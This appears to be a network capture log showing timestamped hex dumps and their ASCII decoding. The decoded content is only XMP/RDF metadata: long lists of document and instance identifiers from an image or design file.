3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 34 30 32 30 41 36 35 37 31 44 30 31 31 44 43 42 33 42 37 46 31 39 34 
44 32 46 43 46 37 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 34 30 35 31 46 44 34 
46 46 33 42 45 30 31 31 42 31 45 44 44 32 37 30 33 46 32 46 30 36 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 75 75 69 64 3a 32 34 32 45 33 34 46 32 45 44 31 35 44 42 31 31 38 46 33 42 42 33 31 41 36 34 44 42 38 33 46 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 34 33 35 44 31 38 36 36 32 42 41 44 45 31 
31 38 36 33 41 45 32 44 30 31 45 37 46 43 31 33 32 3c 2f 72 64 66 3a 6c 
Data Ascii: 1ABAD762DE119166A143FD8E6040</rdf:li> <rdf:li>uuid:24020A6571D011DCB3B7F194D2FCF764</rdf:li> 
<rdf:li>uuid:24051FD4FF3BE011B1EDD2703F2F0653</rdf:li> <rdf:li>uuid:242E34F2ED15DB118F3BB31A64D
B83F7</rdf:li> <rdf:li>uuid:2435D18662BADE11863AE2D01E7FC132</rdf:l

2022-05-13 14:42:07 UTC 7145 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 39 33 35 32 37 36 41 38 43 39 45 30 31 31 41 
41 35 35 41 30 36 35 46 38 41 32 33 39 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 
38 44 32 37 35 35 38 45 42 36 36 31 31 44 42 42 36 41 46 41 33 34 45 30 35 44 45 46 44 42 41 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 44 41 45 45 46 41 35 33 42 37 44 44 31 31 38 46 43 31 42 46 38 30 
32 42 41 32 44 33 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 39 30 39 39 34 44 45 
35 39 37 42 45 31 31 31 39 44 42 44 38 36 44 41 41 43 38 37 38 41 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 75 75 69 64 3a 35 39 32 45 34 45 43 41 42 43 45 44 31 31 44 42 39 
Data Ascii: :li> <rdf:li>uuid:58935276A8C9E011AA55A065F8A23988</rdf:li> <rdf:li>uuid:58D27558EB6611D
BB6AFA34E05DEFDBA</rdf:li> <rdf:li>uuid:58DAEEFA53B7DD118FC1BF802BA2D3E3</rdf:li> <rdf:li>uuid:59099
4DE597BE1119DBD86DAAC878A47</rdf:li> <rdf:li>uuid:592E4ECABCED11DB9
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2022-05-13 14:42:07 UTC 7153 IN Data Raw: 31 41 35 44 46 31 31 38 39 36 37 44 44 33 45 38 35 38 42 31 34 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 75 75 69 64 3a 37 31 36 34 33 46 35 32 46 31 37 45 31 31 45 30 38 46 30 34 41 43 38 36 35 33 44 42 35 
39 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 31 36 37 36 34 44 42 44 32 43 38 44 
43 31 31 41 33 45 44 38 35 30 30 38 33 33 30 38 41 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 6
9 64 3a 37 31 45 32 32 43 31 36 35 36 46 42 45 30 31 31 41 37 42 45 39 42 34 46 45 41 34 38 32 34 37 43 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 32 32 43 35 30 44 35 37 45 39 42 44 44 31 31 39 42 35 38 
38 32 42 37 32 41 35 37 30 35 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: 1A5DF118967DD3E858B14A3</rdf:li> <rdf:li>uuid:71643F52F17E11E08F04AC8653DB59B7</rdf:li> 
<rdf:li>uuid:716764DBD2C8DC11A3ED850083308ABD</rdf:li> <rdf:li>uuid:71E22C1656FBE011A7BE9B4FEA48247C
</rdf:li> <rdf:li>uuid:722C50D57E9BDD119B5882B72A57055A</rdf:li> <r

2022-05-13 14:42:07 UTC 7169 IN Data Raw: 44 31 31 42 41 32 46 45 34 42 43 31 39 39 45 31 41 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 41 32 42 31 45 33 31 45 32 39 42 43 44 46 31 31 38 30 39 31 44 45 46 36 30 45 46 42 35 39 41 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 32 46 45 39 45 36 44 38 43 36 46 45 30 31 31 42 
43 36 32 41 41 43 33 46 32 38 44 31 34 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 3
3 31 37 35 30 33 31 45 43 46 30 31 31 44 43 41 42 36 31 44 46 34 46 42 44 44 35 45 30 39 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 33 31 39 46 33 43 45 44 34 30 35 44 45 31 31 42 32 33 45 44 38 37 43 
44 30 42 35 39 46 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: D11BA2FE4BC199E1A0B</rdf:li> <rdf:li>uuid:A2B1E31E29BCDF118091DEF60EFB59A3</rdf:li> <rdf
:li>uuid:A2FE9E6D8C6FE011BC62AAC3F28D1468</rdf:li> <rdf:li>uuid:A3175031ECF011DCAB61DF4FBDD5E098</rd
f:li> <rdf:li>uuid:A319F3CED405DE11B23ED87CD0B59FBD</rdf:li> <rdf:l

2022-05-13 14:42:07 UTC 7185 IN Data Raw: 35 43 39 35 44 37 39 31 31 44 43 39 43 44 31 44 35 33 38 33 41 37 31 36 45 39 42 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 44 33 46 39 44 45 45 46 38 38 31 31 44 44 39 34 31 32 38 31 41 43 33 
42 44 39 41 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 46 32 33 30 44 33 42 30 
34 42 32 31 31 45 30 42 43 39 44 45 46 42 45 30 36 36 43 44 38 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 75 75 69 64 3a 44 46 33 45 46 36 46 43 42 30 43 45 44 45 31 31 38 36 32 46 42 43 35 36 32 33 36 45 37 35 41 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 46 36 33 36 30 38 46 41 34 43 32 44 43 31 31 
41 34 33 30 38 41 36 38 32 30 44 43 45 33 36 31 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 5C95D7911DC9CD1D5383A716E9B</rdf:li> <rdf:li>uuid:DED3F9DEEF8811DD941281AC3BD9A785</rdf:li> 
<rdf:li>uuid:DF230D3B04B211E0BC9DEFBE066CD848</rdf:li> <rdf:li>uuid:DF3EF6FCB0CEDE11862FBC56236E
75AD</rdf:li> <rdf:li>uuid:DF63608FA4C2DC11A4308A6820DCE361</rdf:li

2022-05-13 14:42:07 UTC 7193 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 43 34 46 35 45 39 30 42 42 43 44 31 31 
44 44 38 37 36 42 41 33 33 32 33 46 30 31 34 30 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 46 43 36 44 39 31 31 36 32 41 31 43 44 45 31 31 38 33 41 38 38 42 46 36 44 31 37 43 42 43 32 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 43 38 39 44 46 33 36 31 30 33 32 31 31 44 43 39 38 32 34 46 
34 42 44 33 34 41 37 38 42 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 43 43 44 43 
43 41 34 35 41 31 42 44 44 31 31 39 39 34 37 45 30 33 43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 46 44 31 32 44 33 36 35 37 38 39 34 31 
Data Ascii: /rdf:li> <rdf:li>uuid:FC4F5E90BBCD11DD876BA3323F01409D</rdf:li> <rdf:li>uuid:FC6D91162A1
CDE1183A88BF6D17CBC28</rdf:li> <rdf:li>uuid:FC89DF36103211DC9824F4BD34A78BB6</rdf:li> <rdf:li>uuid:F
CCDCCA45A1BDD119947E03C52BEF1B0</rdf:li> <rdf:li>uuid:FD12D36578941

2022-05-13 14:42:07 UTC 7209 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 36 34 42 
46 44 33 45 35 45 35 43 31 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 
38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 39 46 31 42 36 39 31 35 33 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 41 32 
46 36 43 35 31 31 32 31 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 
30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 
Data Ascii: df:li>xmp.did:02801174072068118D64BFD3E5E5C110</rdf:li> <rdf:li>xmp.did:0280117407206811
8F629F1B691538C0</rdf:li> <rdf:li>xmp.did:02801174072068118F62A2F6C51121F7</rdf:li> <rdf:li>xmp.did:0280117407
2068118F62EE64CEC33CEF</rdf:li> <rdf:li>xmp.did:028011740

2022-05-13 14:42:07 UTC 7225 IN Data Raw: 31 31 37 34 30 37 32 30 36 38 31 31 42 36 39 39 42 43 43 46 31 30 37 38 39 39 42 30 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 38 34 30 45 
44 35 37 44 37 33 36 37 33 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 
38 38 38 64 39 65 2d 31 35 36 37 2d 31 66 34 30 2d 38 39 63 62 2d 37 38 36 62 37 65 61 34 38 33 38 36 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 42 39 36 44 30 32 33 32 30 36 38 31 31 42 35 
30 39 42 41 44 43 41 34 45 30 34 36 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 36 42 30 31 44 32 34 30 45 32 30 36 38 31 31 41 31 45 30 44 37 37 
Data Ascii: 117407206811B699BCCF107899B0</rdf:li> <rdf:li>xmp.did:0680117407206811B840ED57D7367369</rdf:li> 
<rdf:li>xmp.did:06888d9e-1567-1f40-89cb-786b7ea48386</rdf:li> <rdf:li>xmp.did:068B96D023206811B509BADC
A4E04687</rdf:li> <rdf:li>xmp.did:06B01D240E206811A1E0D77

2022-05-13 14:42:07 UTC 7232 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 
31 31 38 44 42 42 46 41 41 34 33 39 43 35 38 43 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 39 34 35 31 33 33 36 34 36 36 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 
31 39 31 30 39 43 46 43 35 34 33 36 43 34 46 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 
Data Ascii: :li> <rdf:li>xmp.did:09801174072068118DBBFAA439C58C9E</rdf:li> <rdf:li>xmp.did:09801174072068118F6
2F94513364662</rdf:li> <rdf:li>xmp.did:09801174072068119109CFC5436C4FCB</rdf:li> <rdf:li>xmp.did:0980117407206
81192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:09

2022-05-13 14:42:07 UTC 7248 IN Data Raw: 30 36 38 31 31 38 30 38 33 46 37 42 31 30 46 39 46 32 41 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 30 46 44 33 38 44 42 42 44 30 45 30 31 31 39 39 41 38 39 42 31 39 38 32 42 42 
37 44 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 31 35 30 41 38 43 30 
38 32 30 36 38 31 31 41 39 36 34 46 36 37 32 31 34 37 33 31 41 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 31 38 31 41 45 33 43 37 30 37 32 30 36 38 31 31 39 32 45 37 41 36 41 32 38 31 42 31 32 
35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 33 38 31 66 32 64 2d 37 
66 33 31 2d 34 62 31 31 2d 38 34 66 61 2d 31 62 38 30 62 34 31 63 36 35 
Data Ascii: 068118083F7B10F9F2A14</rdf:li> <rdf:li>xmp.did:180FD38DBBD0E01199A89B1982BB7D62</rdf:li> <rdf:li>x
mp.did:18150A8C08206811A964F67214731AFC</rdf:li> <rdf:li>xmp.did:181AE3C70720681192E7A6A281B12522</r
df:li> <rdf:li>xmp.did:18381f2d-7f31-4b11-84fa-1b80b41c65
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2022-05-13 14:42:07 UTC 7264 IN Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 64 34 34 31 66 64 2d 33 36 63 66 2d 30 39 34 38 2d 39 
64 37 65 2d 34 63 39 64 66 61 66 64 66 36 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 32 37 66 32 33 36 31 61 2d 35 33 64 34 2d 34 35 32 66 2d 61 39 32 64 2d 36 65 63 39 64 33 32 33 64 30 33 30 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 66 37 32 35 36 36 2d 65 63 39 65 
2d 63 34 34 61 2d 61 65 61 65 2d 62 62 62 35 39 62 65 32 65 30 63 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 32 38 33 32 37 41 33 43 42 30 43 37 45 35 31 31 38 45 38 30 39 42 43 45 33 44 44 43 45 
45 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: rdf:li>xmp.did:27d441fd-36cf-0948-9d7e-4c9dfafdf6ab</rdf:li> <rdf:li>xmp.did:27f2361a-53d4-452f-a92d-
6ec9d323d030</rdf:li> <rdf:li>xmp.did:27f72566-ec9e-c44a-aeae-bbb59be2e0ce</rdf:li> <rdf:li>xmp.did:28327A3
CB0C7E5118E809BCE3DDCEE98</rdf:li> <rdf:li>xmp.

2022-05-13 14:42:08 UTC 8060 IN Data Raw: 2e 64 69 64 3a 32 63 38 39 36 64 36 34 2d 65 65 64 61 2d 34 38 64 34 2d 38 62 38 63 2d 61 35 64 37 65 38 
37 32 34 32 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 63 62 30 63 33 66 
63 2d 34 65 35 36 2d 65 30 34 63 2d 38 61 37 31 2d 36 34 33 62 34 61 66 34 32 39 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 63 65 34 65 30 66 39 2d 62 65 63 65 2d 34 39 66 31 2d 61 38 65 39 
2d 39 36 62 33 35 63 64 64 62 32 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
32 64 35 36 35 65 65 35 2d 65 32 62 64 2d 34 66 39 36 2d 39 30 64 65 2d 63 36 35 62 34 36 39 65 63 64 34 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 64 
Data Ascii: .did:2c896d64-eeda-48d4-8b8c-a5d7e8724285</rdf:li> <rdf:li>xmp.did:2cb0c3fc-4e56-e04c-8a71-643b4af
42974</rdf:li> <rdf:li>xmp.did:2ce4e0f9-bece-49f1-a8e9-96b35cddb2fb</rdf:li> <rdf:li>xmp.did:2d565ee5-e2bd-4f96-90de-
c65b469ecd41</rdf:li> <rdf:li>xmp.did:2d

2022-05-13 14:42:08 UTC 8076 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 45 44 45 46 35 30 32 33 34 32 
30 36 38 31 31 38 38 43 36 45 41 37 36 37 38 41 32 34 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 33 45 46 35 31 46 35 30 30 41 32 30 36 38 31 31 38 46 36 32 46 36 45 44 33 34 45 44 44 37 43 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 45 46 43 36 36 36 46 30 43 32 30 3
6 38 31 31 38 38 43 36 43 31 33 33 34 42 42 42 35 37 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 33 45 46 43 46 30 37 46 31 46 32 30 36 38 31 31 38 37 31 46 39 39 30 42 39 43 44 30 43 38 44 46 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii: /rdf:li> <rdf:li>xmp.did:3EDEF5023420681188C6EA7678A2413B</rdf:li> <rdf:li>xmp.did:3EF51F500A20681
18F62F6ED34EDD7C7</rdf:li> <rdf:li>xmp.did:3EFC666F0C20681188C6C1334BBB574E</rdf:li> <rdf:li>xmp.did
:3EFCF07F1F206811871F990B9CD0C8DF</rdf:li> <rdf:li>xmp.di

2022-05-13 14:42:08 UTC 8092 IN Data Raw: 70 2e 64 69 64 3a 34 44 45 33 33 38 31 32 30 46 32 30 36 38 31 31 41 42 36 31 39 39 36 44 35 46 36 41 41 
33 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 45 32 43 30 45 31 38 35 45 
43 44 45 30 31 31 38 43 41 36 46 30 33 42 39 39 35 44 33 43 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 34 45 35 39 45 41 32 37 31 43 32 30 36 38 31 31 38 44 42 42 46 45 34 41 37 36 37 46 34 38 
46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 45 36 35 37 30 46 33 33 39 32 
30 36 38 31 31 39 31 30 39 38 32 36 31 33 44 30 44 38 34 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 34 45 38 33 41 38 33 41 32 42 32 30 36 38 31 31 41 
Data Ascii: p.did:4DE338120F206811AB61996D5F6AA328</rdf:li> <rdf:li>xmp.did:4E2C0E185ECDE0118CA6F03B
995D3CCE</rdf:li> <rdf:li>xmp.did:4E59EA271C2068118DBBFE4A767F48FE</rdf:li> <rdf:li>xmp.did:4E6570F3
39206811910982613D0D8437</rdf:li> <rdf:li>xmp.did:4E83A83A2B206811A

2022-05-13 14:42:08 UTC 8099 IN Data Raw: 42 46 43 30 42 44 34 46 43 32 31 38 33 43 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 35 33 62 63 61 36 62 37 2d 61 33 32 34 2d 62 66 34 38 2d 61 30 62 62 2d 64 38 31 31 34 38 35 64 64 
66 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 62 66 65 65 61 33 2d 38 
31 34 30 2d 64 62 34 63 2d 38 33 62 65 2d 39 62 30 36 30 65 35 66 30 35 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 66 34 30 35 64 61 2d 30 32 35 34 2d 30 37 34 32 2d 61 66 66 35 2d 63 36 
37 34 38 65 66 36 66 63 66 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 30 
33 37 43 38 45 30 37 32 30 36 38 31 31 38 32 32 41 46 43 31 39 44 36 45 
Data Ascii: BFC0BD4FC2183CD0</rdf:li> <rdf:li>xmp.did:53bca6b7-a324-bf48-a0bb-d811485ddfaa</rdf:li> <rdf:li>xm
p.did:53bfeea3-8140-db4c-83be-9b060e5f05ae</rdf:li> <rdf:li>xmp.did:53f405da-0254-0742-aff5-c6748ef6fcf1</rdf:li> 
<rdf:li>xmp.did:54037C8E07206811822AFC19D6E

2022-05-13 14:42:08 UTC 8115 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 39 43 33 45 43 33 30 37 32 
30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 36 33 39 46 37 33 42 43 46 44 39 32 31 31 44 46 42 36 34 45 41 43 46 42 43 30 38 37 35 38 42 
38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 45 36 42 33 35 41 30 36 41 32 
45 32 31 31 39 35 35 33 43 34 33 46 43 33 36 39 34 37 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 36 33 45 41 43 39 31 44 31 37 32 30 36 38 31 31 38 44 42 42 44 44 46 43 38 39 42 36 31 38 42 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: rdf:li> <rdf:li>xmp.did:639C3EC3072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:639F73BCFD9211DF
B64EACFBC08758B8</rdf:li> <rdf:li>xmp.did:63E6B35A06A2E2119553C43FC3694756</rdf:li> <rdf:li>xmp.did:
63EAC91D172068118DBBDDFC89B618BD</rdf:li> <rdf:li>xmp.did

2022-05-13 14:42:08 UTC 8131 IN Data Raw: 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 36 45 32 36 
37 33 46 36 32 30 36 38 31 31 38 46 36 32 39 30 31 42 32 41 34 39 30 37 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 36 46 32 42 45 34 46 44 32 30 36 38 31 31 42 45 31 34 42 36 34 33 35 45 
46 30 38 45 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 42 45 46 35 30 3
2 33 39 32 39 45 30 31 31 42 46 41 46 45 30 45 46 39 45 34 33 38 33 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 42 46 37 38 43 46 30 38 32 30 36 38 31 31 42 38 34 30 45 31 34 31 39 38 39 36 
45 31 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
Data Ascii: 1730</rdf:li> <rdf:li>xmp.did:726E2673F62068118F62901B2A4907D4</rdf:li> <rdf:li>xmp.did:726F2BE4FD
206811BE14B6435EF08E7C</rdf:li> <rdf:li>xmp.did:72BEF5023929E011BFAFE0EF9E4383EA</rdf:li> <rdf:li>xm
p.did:72BF78CF08206811B840E1419896E1ED</rdf:li> <rdf:li>x

2022-05-13 14:42:08 UTC 8139 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 37 39 63 31 61 31 37 39 2d 37 64 64 33 2d 34 65 66 64 2d 39 38 32 64 2d 64 
65 39 39 39 39 39 31 34 66 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 41 
31 31 43 38 38 42 45 35 44 43 45 31 31 31 41 38 38 41 38 34 44 36 34 34 36 42 41 42 35 34 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 41 35 39 42 38 46 35 30 39 32 30 36 38 31 31 38 43 31 34 46 34 
45 46 32 30 45 42 43 38 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 41 35 
41 32 32 44 42 37 33 32 31 36 38 31 31 41 42 30 38 46 34 41 39 42 34 39 35 41 34 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 41 36 39 30 44 33 38 36 
Data Ascii: i>xmp.did:79c1a179-7dd3-4efd-982d-de9999914f65</rdf:li> <rdf:li>xmp.did:7A11C88BE5DCE111
A88A84D6446BAB54</rdf:li> <rdf:li>xmp.did:7A59B8F5092068118C14F4EF20EBC8D3</rdf:li> <rdf:li>xmp.did:
7A5A22DB73216811AB08F4A9B495A45C</rdf:li> <rdf:li>xmp.did:7A690D386
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2022-05-13 14:42:08 UTC 8155 IN Data Raw: 2d 66 62 34 62 2d 62 37 36 62 2d 38 61 37 32 39 39 30 31 31 32 36 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 39 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 
34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 39 31 45 37 39 39 
32 42 33 32 31 36 38 31 31 38 30 38 33 44 41 34 42 44 38 45 31 45 44 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 39 31 46 39 35 46 33 30 42 32 30 36 38 31 31 39 32 42 30 42 46 46 46 43 41 44 
42 39 34 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 39 32 31 63 36 31 39 
2d 34 63 65 38 2d 34 31 65 31 2d 61 32 61 35 2d 66 30 31 37 37 35 34 36 
Data Ascii: -fb4b-b76b-8a729901126a</rdf:li> <rdf:li>xmp.did:890B2DDEFD9DE111ADD29B684E45E581</rdf:li> <rdf:li
>xmp.did:891E7992B32168118083DA4BD8E1EDE5</rdf:li> <rdf:li>xmp.did:891F95F30B20681192B0BFFFCADB9423<
/rdf:li> <rdf:li>xmp.did:8921c619-4ce8-41e1-a2a5-f0177546

